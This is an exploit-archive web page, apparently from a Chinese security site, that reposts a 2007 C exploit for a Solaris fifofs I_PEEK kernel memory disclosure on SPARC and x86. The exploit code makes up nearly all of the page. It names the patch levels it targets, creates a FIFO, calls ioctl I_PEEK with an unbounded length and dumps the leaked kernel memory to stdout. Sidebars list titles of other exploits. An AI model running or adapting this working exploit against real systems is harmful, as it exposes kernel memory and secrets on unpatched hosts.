首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solaris fifofs I_PEEK Kernel Memory Disclosure Exploit (x86/sparc)
来源:www.vfocus.net 作者:qaaz 发布时间:2007-10-11  
/* 10/2007: public release
* SPARC
*   Solaris  8 without 109454-06
*   Solaris  9 without 117471-04
*   Solaris 10 without 127737-01
* x86
*   Solaris  8 without 109455-06
*   Solaris  9 without 117472-04
*   Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT 1000

int main(int argc, char *argv[])
{
struct strpeek strpeek;
char *buf, *end;
int pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------\n"
" Solaris fifofs I_PEEK Kmem Disclosure\n"
" By qaaz\n"
"---------------------------------------\n");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case  0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d\n", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Eggdrop Server Module Message
·Php-Stats 0.1.9.2 Multiple Vul
·PHP 5.2.4 ionCube extension sa
·cpDynaLinks 1.02 category.php
·KwsPHP 1.0 Newsletter Module R
·TikiWiki <= 1.9.8 tiki-graph_f
·Microsoft Visual FoxPro 6.0 FP
·PBEmail 7 ActiveX Edition Inse
·LightBlog 8.4.1.1 Remote Code
·Apache Tomcat (webdav) Remote
·PHP Homepage M 1.0 galerie.php
·jetAudio 7.x (m3u File) Local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved